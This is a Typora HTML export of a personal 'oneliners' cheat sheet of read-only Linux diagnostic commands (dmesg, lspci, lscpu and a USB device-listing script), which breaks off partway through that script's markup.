<!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>

<link href='https://fonts.loli.net/css?family=Open+Sans:400italic,700italic,700,400&subset=latin,latin-ext' rel='stylesheet' type='text/css' /><style type='text/css'>html {overflow-x: initial !important;}:root { --bg-color:#ffffff; --text-color:#333333; --select-text-bg-color:#B5D6FC; --select-text-font-color:auto; --monospace:"Lucida Console",Consolas,"Courier",monospace; --title-bar-height:20px; }
.mac-os-11 { --title-bar-height:28px; }
html { font-size: 14px; background-color: var(--bg-color); color: var(--text-color); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; -webkit-font-smoothing: antialiased; }
body { margin: 0px; padding: 0px; height: auto; inset: 0px; font-size: 1rem; line-height: 1.42857; overflow-x: hidden; background: inherit; tab-size: 4; }
iframe { margin: auto; }
a.url { word-break: break-all; }
a:active, a:hover { outline: 0px; }
.in-text-selection, ::selection { text-shadow: none; background: var(--select-text-bg-color); color: var(--select-text-font-color); }
#write { margin: 0px auto; height: auto; width: inherit; word-break: normal; overflow-wrap: break-word; position: relative; white-space: normal; overflow-x: visible; padding-top: 36px; }
#write.first-line-indent p { text-indent: 2em; }
#write.first-line-indent li p, #write.first-line-indent p * { text-indent: 0px; }
#write.first-line-indent li { margin-left: 2em; }
.for-image #write { padding-left: 8px; padding-right: 8px; }
body.typora-export { padding-left: 30px; padding-right: 30px; }
.typora-export .footnote-line, .typora-export li, .typora-export p { white-space: pre-wrap; }
.typora-export .task-list-item input { pointer-events: none; }
@media screen and (max-width: 500px) {
  body.typora-export { padding-left: 0px; padding-right: 0px; }
  #write { padding-left: 20px; padding-right: 20px; }
  .CodeMirror-sizer { margin-left: 0px !important; }
  .CodeMirror-gutters { display: none !important; }
}
#write li > figure:last-child { margin-bottom: 0.5rem; }
#write ol, #write ul { position: relative; }
img { max-width: 100%; vertical-align: middle; image-orientation: from-image; }
button, input, select, textarea { color: inherit; font: inherit; }
input[type="checkbox"], input[type="radio"] { line-height: normal; padding: 0px; }
*, ::after, ::before { box-sizing: border-box; }
#write h1, #write h2, #write h3, #write h4, #write h5, #write h6, #write p, #write pre { width: inherit; }
#write h1, #write h2, #write h3, #write h4, #write h5, #write h6, #write p { position: relative; }
p { line-height: inherit; }
h1, h2, h3, h4, h5, h6 { break-after: avoid-page; break-inside: avoid; orphans: 4; }
p { orphans: 4; }
h1 { font-size: 2rem; }
h2 { font-size: 1.8rem; }
h3 { font-size: 1.6rem; }
h4 { font-size: 1.4rem; }
h5 { font-size: 1.2rem; }
h6 { font-size: 1rem; }
.md-math-block, .md-rawblock, h1, h2, h3, h4, h5, h6, p { margin-top: 1rem; margin-bottom: 1rem; }
.hidden { display: none; }
.md-blockmeta { color: rgb(204, 204, 204); font-weight: 700; font-style: italic; }
a { cursor: pointer; }
sup.md-footnote { padding: 2px 4px; background-color: rgba(238, 238, 238, 0.7); color: rgb(85, 85, 85); border-radius: 4px; cursor: pointer; }
sup.md-footnote a, sup.md-footnote a:hover { color: inherit; text-transform: inherit; text-decoration: inherit; }
#write input[type="checkbox"] { cursor: pointer; width: inherit; height: inherit; }
figure { overflow-x: auto; margin: 1.2em 0px; max-width: calc(100% + 16px); padding: 0px; }
figure > table { margin: 0px; }
tr { break-inside: avoid; break-after: auto; }
thead { display: table-header-group; }
table { border-collapse: collapse; border-spacing: 0px; width: 100%; overflow: auto; break-inside: auto; text-align: left; }
table.md-table td { min-width: 32px; }
.CodeMirror-gutters { border-right: 0px; background-color: inherit; }
.CodeMirror-linenumber { user-select: none; }
.CodeMirror { text-align: left; }
.CodeMirror-placeholder { opacity: 0.3; }
.CodeMirror pre { padding: 0px 4px; }
.CodeMirror-lines { padding: 0px; }
div.hr:focus { cursor: none; }
#write pre { white-space: pre-wrap; }
#write.fences-no-line-wrapping pre { white-space: pre; }
#write pre.ty-contain-cm { white-space: normal; }
.CodeMirror-gutters { margin-right: 4px; }
.md-fences { font-size: 0.9rem; display: block; break-inside: avoid; text-align: left; overflow: visible; white-space: pre; background: inherit; position: relative !important; }
.md-fences-adv-panel { width: 100%; margin-top: 10px; text-align: center; padding-top: 0px; padding-bottom: 8px; overflow-x: auto; }
#write .md-fences.mock-cm { white-space: pre-wrap; }
.md-fences.md-fences-with-lineno { padding-left: 0px; }
#write.fences-no-line-wrapping .md-fences.mock-cm { white-space: pre; overflow-x: auto; }
.md-fences.mock-cm.md-fences-with-lineno { padding-left: 8px; }
.CodeMirror-line, twitterwidget { break-inside: avoid; }
.footnotes { opacity: 0.8; font-size: 0.9rem; margin-top: 1em; margin-bottom: 1em; }
.footnotes + .footnotes { margin-top: 0px; }
.md-reset { margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; background: 0px 0px; text-decoration: none; text-shadow: none; float: none; position: static; width: auto; height: auto; white-space: nowrap; cursor: inherit; -webkit-tap-highlight-color: transparent; line-height: normal; font-weight: 400; text-align: left; box-sizing: content-box; direction: ltr; }
li div { padding-top: 0px; }
blockquote { margin: 1rem 0px; }
li .mathjax-block, li p { margin: 0.5rem 0px; }
li blockquote { margin: 1rem 0px; }
li { margin: 0px; position: relative; }
blockquote > :last-child { margin-bottom: 0px; }
blockquote > :first-child, li > :first-child { margin-top: 0px; }
.footnotes-area { color: rgb(136, 136, 136); margin-top: 0.714rem; padding-bottom: 0.143rem; white-space: normal; }
#write .footnote-line { white-space: pre-wrap; }
@media print {
  body, html { border: 1px solid transparent; height: 99%; break-after: avoid; break-before: avoid; font-variant-ligatures: no-common-ligatures; }
  #write { margin-top: 0px; padding-top: 0px; border-color: transparent !important; }
  .typora-export * { -webkit-print-color-adjust: exact; }
  .typora-export #write { break-after: avoid; }
  .typora-export #write::after { height: 0px; }
  .is-mac table { break-inside: avoid; }
  .typora-export-show-outline .typora-export-sidebar { display: none; }
}
.footnote-line { margin-top: 0.714em; font-size: 0.7em; }
a img, img a { cursor: pointer; }
pre.md-meta-block { font-size: 0.8rem; min-height: 0.8rem; white-space: pre-wrap; background: rgb(204, 204, 204); display: block; overflow-x: hidden; }
p > .md-image:only-child:not(.md-img-error) img, p > img:only-child { display: block; margin: auto; }
#write.first-line-indent p > .md-image:only-child:not(.md-img-error) img { left: -2em; position: relative; }
p > .md-image:only-child { display: inline-block; width: 100%; }
#write .MathJax_Display { margin: 0.8em 0px 0px; }
.md-math-block { width: 100%; }
.md-math-block:not(:empty)::after { display: none; }
.MathJax_ref { fill: currentcolor; }
[contenteditable="true"]:active, [contenteditable="true"]:focus, [contenteditable="false"]:active, [contenteditable="false"]:focus { outline: 0px; box-shadow: none; }
.md-task-list-item { position: relative; list-style-type: none; }
.task-list-item.md-task-list-item { padding-left: 0px; }
.md-task-list-item > input { position: absolute; top: 0px; left: 0px; margin-left: -1.2em; margin-top: calc(1em - 10px); border: none; }
.math { font-size: 1rem; }
.md-toc { min-height: 3.58rem; position: relative; font-size: 0.9rem; border-radius: 10px; }
.md-toc-content { position: relative; margin-left: 0px; }
.md-toc-content::after, .md-toc::after { display: none; }
.md-toc-item { display: block; color: rgb(65, 131, 196); }
.md-toc-item a { text-decoration: none; }
.md-toc-inner:hover { text-decoration: underline; }
.md-toc-inner { display: inline-block; cursor: pointer; }
.md-toc-h1 .md-toc-inner { margin-left: 0px; font-weight: 700; }
.md-toc-h2 .md-toc-inner { margin-left: 2em; }
.md-toc-h3 .md-toc-inner { margin-left: 4em; }
.md-toc-h4 .md-toc-inner { margin-left: 6em; }
.md-toc-h5 .md-toc-inner { margin-left: 8em; }
.md-toc-h6 .md-toc-inner { margin-left: 10em; }
@media screen and (max-width: 48em) {
  .md-toc-h3 .md-toc-inner { margin-left: 3.5em; }
  .md-toc-h4 .md-toc-inner { margin-left: 5em; }
  .md-toc-h5 .md-toc-inner { margin-left: 6.5em; }
  .md-toc-h6 .md-toc-inner { margin-left: 8em; }
}
a.md-toc-inner { font-size: inherit; font-style: inherit; font-weight: inherit; line-height: inherit; }
.footnote-line a:not(.reversefootnote) { color: inherit; }
.md-attr { display: none; }
.md-fn-count::after { content: "."; }
code, pre, samp, tt { font-family: var(--monospace); }
kbd { margin: 0px 0.1em; padding: 0.1em 0.6em; font-size: 0.8em; color: rgb(36, 39, 41); background: rgb(255, 255, 255); border: 1px solid rgb(173, 179, 185); border-radius: 3px; box-shadow: rgba(12, 13, 14, 0.2) 0px 1px 0px, rgb(255, 255, 255) 0px 0px 0px 2px inset; white-space: nowrap; vertical-align: middle; }
.md-comment { color: rgb(162, 127, 3); opacity: 0.6; font-family: var(--monospace); }
code { text-align: left; vertical-align: initial; }
a.md-print-anchor { white-space: pre !important; border-width: initial !important; border-style: none !important; border-color: initial !important; display: inline-block !important; position: absolute !important; width: 1px !important; right: 0px !important; outline: 0px !important; background: 0px 0px !important; text-decoration: initial !important; text-shadow: initial !important; }
.os-windows.monocolor-emoji .md-emoji { font-family: "Segoe UI Symbol", sans-serif; }
.md-diagram-panel > svg { max-width: 100%; }
[lang="flow"] svg, [lang="mermaid"] svg { max-width: 100%; height: auto; }
[lang="mermaid"] .node text { font-size: 1rem; }
table tr th { border-bottom: 0px; }
video { max-width: 100%; display: block; margin: 0px auto; }
iframe { max-width: 100%; width: 100%; border: none; }
.highlight td, .highlight tr { border: 0px; }
mark { background: rgb(255, 255, 0); color: rgb(0, 0, 0); }
.md-html-inline .md-plain, .md-html-inline strong, mark .md-inline-math, mark strong { color: inherit; }
.md-expand mark .md-meta { opacity: 0.3 !important; }
mark .md-meta { color: rgb(0, 0, 0); }
@media print {
  .typora-export h1, .typora-export h2, .typora-export h3, .typora-export h4, .typora-export h5, .typora-export h6 { break-inside: avoid; }
}
.md-diagram-panel .messageText { stroke: none !important; }
.md-diagram-panel .start-state { fill: var(--node-fill); }
.md-diagram-panel .edgeLabel rect { opacity: 1 !important; }
.md-fences.md-fences-math { font-size: 1em; }
.md-fences-advanced:not(.md-focus) { padding: 0px; white-space: nowrap; border: 0px; }
.md-fences-advanced:not(.md-focus) { background: inherit; }
.typora-export-show-outline .typora-export-content { max-width: 1440px; margin: auto; display: flex; flex-direction: row; }
.typora-export-sidebar { width: 300px; font-size: 0.8rem; margin-top: 80px; margin-right: 18px; }
.typora-export-show-outline #write { --webkit-flex:2; flex: 2 1 0%; }
.typora-export-sidebar .outline-content { position: fixed; top: 0px; max-height: 100%; overflow: hidden auto; padding-bottom: 30px; padding-top: 60px; width: 300px; }
@media screen and (max-width: 1024px) {
  .typora-export-sidebar, .typora-export-sidebar .outline-content { width: 240px; }
}
@media screen and (max-width: 800px) {
  .typora-export-sidebar { display: none; }
}
.outline-content li, .outline-content ul { margin-left: 0px; margin-right: 0px; padding-left: 0px; padding-right: 0px; list-style: none; }
.outline-content ul { margin-top: 0px; margin-bottom: 0px; }
.outline-content strong { font-weight: 400; }
.outline-expander { width: 1rem; height: 1.42857rem; position: relative; display: table-cell; vertical-align: middle; cursor: pointer; padding-left: 4px; }
.outline-expander::before { content: ""; position: relative; font-family: Ionicons; display: inline-block; font-size: 8px; vertical-align: middle; }
.outline-item { padding-top: 3px; padding-bottom: 3px; cursor: pointer; }
.outline-expander:hover::before { content: ""; }
.outline-h1 > .outline-item { padding-left: 0px; }
.outline-h2 > .outline-item { padding-left: 1em; }
.outline-h3 > .outline-item { padding-left: 2em; }
.outline-h4 > .outline-item { padding-left: 3em; }
.outline-h5 > .outline-item { padding-left: 4em; }
.outline-h6 > .outline-item { padding-left: 5em; }
.outline-label { cursor: pointer; display: table-cell; vertical-align: middle; text-decoration: none; color: inherit; }
.outline-label:hover { text-decoration: underline; }
.outline-item:hover { border-color: rgb(245, 245, 245); background-color: var(--item-hover-bg-color); }
.outline-item:hover { margin-left: -28px; margin-right: -28px; border-left: 28px solid transparent; border-right: 28px solid transparent; }
.outline-item-single .outline-expander::before, .outline-item-single .outline-expander:hover::before { display: none; }
.outline-item-open > .outline-item > .outline-expander::before { content: ""; }
.outline-children { display: none; }
.info-panel-tab-wrapper { display: none; }
.outline-item-open > .outline-children { display: block; }
.typora-export .outline-item { padding-top: 1px; padding-bottom: 1px; }
.typora-export .outline-item:hover { margin-right: -8px; border-right: 8px solid transparent; }
.typora-export .outline-expander::before { content: "+"; font-family: inherit; top: -1px; }
.typora-export .outline-expander:hover::before, .typora-export .outline-item-open > .outline-item > .outline-expander::before { content: "−"; }
.typora-export-collapse-outline .outline-children { display: none; }
.typora-export-collapse-outline .outline-item-open > .outline-children, .typora-export-no-collapse-outline .outline-children { display: block; }
.typora-export-no-collapse-outline .outline-expander::before { content: "" !important; }
.typora-export-show-outline .outline-item-active > .outline-item .outline-label { font-weight: 700; }
.md-inline-math-container mjx-container { zoom: 0.95; }


.CodeMirror { height: auto; }
.CodeMirror.cm-s-inner { background: inherit; }
.CodeMirror-scroll { overflow: auto hidden; z-index: 3; }
.CodeMirror-gutter-filler, .CodeMirror-scrollbar-filler { background-color: rgb(255, 255, 255); }
.CodeMirror-gutters { border-right: 1px solid rgb(221, 221, 221); background: inherit; white-space: nowrap; }
.CodeMirror-linenumber { padding: 0px 3px 0px 5px; text-align: right; color: rgb(153, 153, 153); }
.cm-s-inner .cm-keyword { color: rgb(119, 0, 136); }
.cm-s-inner .cm-atom, .cm-s-inner.cm-atom { color: rgb(34, 17, 153); }
.cm-s-inner .cm-number { color: rgb(17, 102, 68); }
.cm-s-inner .cm-def { color: rgb(0, 0, 255); }
.cm-s-inner .cm-variable { color: rgb(0, 0, 0); }
.cm-s-inner .cm-variable-2 { color: rgb(0, 85, 170); }
.cm-s-inner .cm-variable-3 { color: rgb(0, 136, 85); }
.cm-s-inner .cm-string { color: rgb(170, 17, 17); }
.cm-s-inner .cm-property { color: rgb(0, 0, 0); }
.cm-s-inner .cm-operator { color: rgb(152, 26, 26); }
.cm-s-inner .cm-comment, .cm-s-inner.cm-comment { color: rgb(170, 85, 0); }
.cm-s-inner .cm-string-2 { color: rgb(255, 85, 0); }
.cm-s-inner .cm-meta { color: rgb(85, 85, 85); }
.cm-s-inner .cm-qualifier { color: rgb(85, 85, 85); }
.cm-s-inner .cm-builtin { color: rgb(51, 0, 170); }
.cm-s-inner .cm-bracket { color: rgb(153, 153, 119); }
.cm-s-inner .cm-tag { color: rgb(17, 119, 0); }
.cm-s-inner .cm-attribute { color: rgb(0, 0, 204); }
.cm-s-inner .cm-header, .cm-s-inner.cm-header { color: rgb(0, 0, 255); }
.cm-s-inner .cm-quote, .cm-s-inner.cm-quote { color: rgb(0, 153, 0); }
.cm-s-inner .cm-hr, .cm-s-inner.cm-hr { color: rgb(153, 153, 153); }
.cm-s-inner .cm-link, .cm-s-inner.cm-link { color: rgb(0, 0, 204); }
.cm-negative { color: rgb(221, 68, 68); }
.cm-positive { color: rgb(34, 153, 34); }
.cm-header, .cm-strong { font-weight: 700; }
.cm-del { text-decoration: line-through; }
.cm-em { font-style: italic; }
.cm-link { text-decoration: underline; }
.cm-error { color: red; }
.cm-invalidchar { color: red; }
.cm-constant { color: rgb(38, 139, 210); }
.cm-defined { color: rgb(181, 137, 0); }
div.CodeMirror span.CodeMirror-matchingbracket { color: rgb(0, 255, 0); }
div.CodeMirror span.CodeMirror-nonmatchingbracket { color: rgb(255, 34, 34); }
.cm-s-inner .CodeMirror-activeline-background { background: inherit; }
.CodeMirror { position: relative; overflow: hidden; }
.CodeMirror-scroll { height: 100%; outline: 0px; position: relative; box-sizing: content-box; background: inherit; }
.CodeMirror-sizer { position: relative; }
.CodeMirror-gutter-filler, .CodeMirror-hscrollbar, .CodeMirror-scrollbar-filler, .CodeMirror-vscrollbar { position: absolute; z-index: 6; display: none; outline: 0px; }
.CodeMirror-vscrollbar { right: 0px; top: 0px; overflow: hidden; }
.CodeMirror-hscrollbar { bottom: 0px; left: 0px; overflow: auto hidden; }
.CodeMirror-scrollbar-filler { right: 0px; bottom: 0px; }
.CodeMirror-gutter-filler { left: 0px; bottom: 0px; }
.CodeMirror-gutters { position: absolute; left: 0px; top: 0px; padding-bottom: 10px; z-index: 3; overflow-y: hidden; }
.CodeMirror-gutter { white-space: normal; height: 100%; box-sizing: content-box; padding-bottom: 30px; margin-bottom: -32px; display: inline-block; }
.CodeMirror-gutter-wrapper { position: absolute; z-index: 4; background: 0px 0px !important; border: none !important; }
.CodeMirror-gutter-background { position: absolute; top: 0px; bottom: 0px; z-index: 4; }
.CodeMirror-gutter-elt { position: absolute; cursor: default; z-index: 4; }
.CodeMirror-lines { cursor: text; }
.CodeMirror pre { border-radius: 0px; border-width: 0px; background: 0px 0px; font-family: inherit; font-size: inherit; margin: 0px; white-space: pre; overflow-wrap: normal; color: inherit; z-index: 2; position: relative; overflow: visible; }
.CodeMirror-wrap pre { overflow-wrap: break-word; white-space: pre-wrap; word-break: normal; }
.CodeMirror-code pre { border-right: 30px solid transparent; width: fit-content; }
.CodeMirror-wrap .CodeMirror-code pre { border-right: none; width: auto; }
.CodeMirror-linebackground { position: absolute; inset: 0px; z-index: 0; }
.CodeMirror-linewidget { position: relative; z-index: 2; overflow: auto; }
.CodeMirror-wrap .CodeMirror-scroll { overflow-x: hidden; }
.CodeMirror-measure { position: absolute; width: 100%; height: 0px; overflow: hidden; visibility: hidden; }
.CodeMirror-measure pre { position: static; }
.CodeMirror div.CodeMirror-cursor { position: absolute; visibility: hidden; border-right: none; width: 0px; }
.CodeMirror div.CodeMirror-cursor { visibility: hidden; }
.CodeMirror-focused div.CodeMirror-cursor { visibility: inherit; }
.cm-searching { background: rgba(255, 255, 0, 0.4); }
span.cm-underlined { text-decoration: underline; }
span.cm-strikethrough { text-decoration: line-through; }
.cm-tw-syntaxerror { color: rgb(255, 255, 255); background-color: rgb(153, 0, 0); }
.cm-tw-deleted { text-decoration: line-through; }
.cm-tw-header5 { font-weight: 700; }
.cm-tw-listitem:first-child { padding-left: 10px; }
.cm-tw-box { border-style: solid; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-color: inherit; border-top-width: 0px !important; }
.cm-tw-underline { text-decoration: underline; }
@media print {
  .CodeMirror div.CodeMirror-cursor { visibility: hidden; }
}


:root {
    --side-bar-bg-color: #fafafa;
    --control-text-color: #777;
}

@include-when-export url(https://fonts.loli.net/css?family=Open+Sans:400italic,700italic,700,400&subset=latin,latin-ext);

/* open-sans-regular - latin-ext_latin */
  /* open-sans-italic - latin-ext_latin */
    /* open-sans-700 - latin-ext_latin */
    /* open-sans-700italic - latin-ext_latin */
  html {
    font-size: 16px;
    -webkit-font-smoothing: antialiased;
}

body {
    font-family: "Open Sans","Clear Sans", "Helvetica Neue", Helvetica, Arial, 'Segoe UI Emoji', sans-serif;
    color: rgb(51, 51, 51);
    line-height: 1.6;
}

#write {
    max-width: 860px;
  	margin: 0 auto;
  	padding: 30px;
    padding-bottom: 100px;
}

@media only screen and (min-width: 1400px) {
	#write {
		max-width: 1024px;
	}
}

@media only screen and (min-width: 1800px) {
	#write {
		max-width: 1200px;
	}
}

#write > ul:first-child,
#write > ol:first-child{
    margin-top: 30px;
}

a {
    color: #4183C4;
}
h1,
h2,
h3,
h4,
h5,
h6 {
    position: relative;
    margin-top: 1rem;
    margin-bottom: 1rem;
    font-weight: bold;
    line-height: 1.4;
    cursor: text;
}
h1:hover a.anchor,
h2:hover a.anchor,
h3:hover a.anchor,
h4:hover a.anchor,
h5:hover a.anchor,
h6:hover a.anchor {
    text-decoration: none;
}
h1 tt,
h1 code {
    font-size: inherit;
}
h2 tt,
h2 code {
    font-size: inherit;
}
h3 tt,
h3 code {
    font-size: inherit;
}
h4 tt,
h4 code {
    font-size: inherit;
}
h5 tt,
h5 code {
    font-size: inherit;
}
h6 tt,
h6 code {
    font-size: inherit;
}
h1 {
    font-size: 2.25em;
    line-height: 1.2;
    border-bottom: 1px solid #eee;
}
h2 {
    font-size: 1.75em;
    line-height: 1.225;
    border-bottom: 1px solid #eee;
}

/*@media print {
    .typora-export h1,
    .typora-export h2 {
        border-bottom: none;
        padding-bottom: initial;
    }

    .typora-export h1::after,
    .typora-export h2::after {
        content: "";
        display: block;
        height: 100px;
        margin-top: -96px;
        border-top: 1px solid #eee;
    }
}*/

h3 {
    font-size: 1.5em;
    line-height: 1.43;
}
h4 {
    font-size: 1.25em;
}
h5 {
    font-size: 1em;
}
h6 {
   font-size: 1em;
    color: #777;
}
p,
blockquote,
ul,
ol,
dl,
table{
    margin: 0.8em 0;
}
li>ol,
li>ul {
    margin: 0 0;
}
hr {
    height: 2px;
    padding: 0;
    margin: 16px 0;
    background-color: #e7e7e7;
    border: 0 none;
    overflow: hidden;
    box-sizing: content-box;
}

li p.first {
    display: inline-block;
}
ul,
ol {
    padding-left: 30px;
}
ul:first-child,
ol:first-child {
    margin-top: 0;
}
ul:last-child,
ol:last-child {
    margin-bottom: 0;
}
blockquote {
    border-left: 4px solid #dfe2e5;
    padding: 0 15px;
    color: #777777;
}
blockquote blockquote {
    padding-right: 0;
}
table {
    padding: 0;
    word-break: initial;
}
table tr {
    border: 1px solid #dfe2e5;
    margin: 0;
    padding: 0;
}
table tr:nth-child(2n),
thead {
    background-color: #f8f8f8;
}
table th {
    font-weight: bold;
    border: 1px solid #dfe2e5;
    border-bottom: 0;
    margin: 0;
    padding: 6px 13px;
}
table td {
    border: 1px solid #dfe2e5;
    margin: 0;
    padding: 6px 13px;
}
table th:first-child,
table td:first-child {
    margin-top: 0;
}
table th:last-child,
table td:last-child {
    margin-bottom: 0;
}

.CodeMirror-lines {
    padding-left: 4px;
}

.code-tooltip {
    box-shadow: 0 1px 1px 0 rgba(0,28,36,.3);
    border-top: 1px solid #eef2f2;
}

.md-fences,
code,
tt {
    border: 1px solid #e7eaed;
    background-color: #f8f8f8;
    border-radius: 3px;
    padding: 0;
    padding: 2px 4px 0px 4px;
    font-size: 0.9em;
}

code {
    background-color: #f3f4f4;
    padding: 0 2px 0 2px;
}

.md-fences {
    margin-bottom: 15px;
    margin-top: 15px;
    padding-top: 8px;
    padding-bottom: 6px;
}


.md-task-list-item > input {
  margin-left: -1.3em;
}

@media print {
    html {
        font-size: 13px;
    }
    table,
    pre {
        page-break-inside: avoid;
    }
    pre {
        word-wrap: break-word;
    }
}

.md-fences {
	background-color: #f8f8f8;
}
#write pre.md-meta-block {
	padding: 1rem;
    font-size: 85%;
    line-height: 1.45;
    background-color: #f7f7f7;
    border: 0;
    border-radius: 3px;
    color: #777777;
    margin-top: 0 !important;
}

.mathjax-block>.code-tooltip {
	bottom: .375rem;
}

.md-mathjax-midline {
    background: #fafafa;
}

#write>h3.md-focus:before{
	left: -1.5625rem;
	top: .375rem;
}
#write>h4.md-focus:before{
	left: -1.5625rem;
	top: .285714286rem;
}
#write>h5.md-focus:before{
	left: -1.5625rem;
	top: .285714286rem;
}
#write>h6.md-focus:before{
	left: -1.5625rem;
	top: .285714286rem;
}
.md-image>.md-meta {
    /*border: 1px solid #ddd;*/
    border-radius: 3px;
    padding: 2px 0px 0px 4px;
    font-size: 0.9em;
    color: inherit;
}

.md-tag {
    color: #a7a7a7;
    opacity: 1;
}

.md-toc { 
    margin-top:20px;
    padding-bottom:20px;
}

.sidebar-tabs {
    border-bottom: none;
}

#typora-quick-open {
    border: 1px solid #ddd;
    background-color: #f8f8f8;
}

#typora-quick-open-item {
    background-color: #FAFAFA;
    border-color: #FEFEFE #e5e5e5 #e5e5e5 #eee;
    border-style: solid;
    border-width: 1px;
}

/** focus mode */
.on-focus-mode blockquote {
    border-left-color: rgba(85, 85, 85, 0.12);
}

header, .context-menu, .megamenu-content, footer{
    font-family: "Segoe UI", "Arial", sans-serif;
}

.file-node-content:hover .file-node-icon,
.file-node-content:hover .file-node-open-state{
    visibility: visible;
}

.mac-seamless-mode #typora-sidebar {
    background-color: #fafafa;
    background-color: var(--side-bar-bg-color);
}

.md-lang {
    color: #b4654d;
}

/*.html-for-mac {
    --item-hover-bg-color: #E6F0FE;
}*/

#md-notification .btn {
    border: 0;
}

.dropdown-menu .divider {
    border-color: #e5e5e5;
    opacity: 0.4;
}

.ty-preferences .window-content {
    background-color: #fafafa;
}

.ty-preferences .nav-group-item.active {
    color: white;
    background: #999;
}

.menu-item-container a.menu-style-btn {
    background-color: #f5f8fa;
    background-image: linear-gradient( 180deg , hsla(0, 0%, 100%, 0.8), hsla(0, 0%, 100%, 0)); 
}



</style><title>oneliners</title>
</head>
<body class='typora-export os-windows'><div class='typora-export-content'>
<div id='write'  class=''><h1 id='system-information-commands'><span>System information commands</span></h1><ul><li><span>su Show only errors and warnings: </span><code>dmesg --level=err,warn</code></li><li><span>View dmesg output in human readable format: </span><code>dmesg -T</code></li><li><span>Get an audio notification if a new device is attached to your computer: </span><code>dmesg -tW -l notice | gawk &#39;{ if ($4 == &quot;Attached&quot;) { system(&quot;echo New device attached | espeak&quot;) } }</code></li><li><span>Dmesg: follow/wait for new kernel messages: </span><code>dmesg -w</code></li><li><span>The proper way to read kernel messages in realtime.: </span><code>dmesg -wx</code></li><li><span>Query graphics card: </span><code>lspci -nnk | grep -i VGA -A2</code></li><li><span>Query sound card: </span><code>lspci -nnk | grep -i audio -A2</code></li><li><span>Quick and dirty hardware summary: </span><code>(printf &quot;\nCPU\n\n&quot;; lscpu; printf &quot;\nMEMORY\n\n&quot;; free -h; printf &quot;\nDISKS\n\n&quot;; lsblk; printf &quot;\nPCI\n\n&quot;; lspci; printf &quot;\nUSB\n\n&quot;; lsusb; printf &quot;\nNETWORK\n\n&quot;; ifconfig) | less</code></li><li><span>Percental CPU scaled load average: </span><code>printf &quot;System load (1m/5m/15m): &quot;; for l in 1 2 3 ; do printf &quot;%.1f%s&quot; &quot;$(( $(cat /proc/loadavg | cut -f $l -d &quot; &quot;) * 100 / $(nproc) ))&quot; &quot;% &quot;; done; printf &quot;\n&quot;</code></li></ul><p><code>finddevs.sh</code><span> (poor man&#39;s lsusb):</span></p><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang="sh"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="sh"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 44px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 36px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -36px; width: 36px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 27px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-meta">#!/bin/sh</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">for</span> sysdevpath <span class="cm-keyword">in</span> <span class="cm-quote">$(find /sys/bus/usb/devices/usb*/ -name dev)</span>; <span class="cm-keyword">do</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;  (</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-def">syspath</span><span class="cm-operator">=</span><span class="cm-string">"</span><span class="cm-def">${sysdevpath%/dev}</span><span class="cm-string">"</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">5</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-def">devname</span><span class="cm-operator">=</span><span class="cm-string">"</span><span class="cm-quote">$(udevadm info -q name -p </span><span class="cm-def">$syspath</span><span class="cm-quote">)</span><span class="cm-string">"</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">6</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; &nbsp; &nbsp;  [[ <span class="cm-string">"</span><span class="cm-def">$devname</span><span class="cm-string">"</span> <span class="cm-operator">==</span> <span class="cm-string">"bus/"</span>* ]] &amp;&amp; <span class="cm-keyword">exit</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 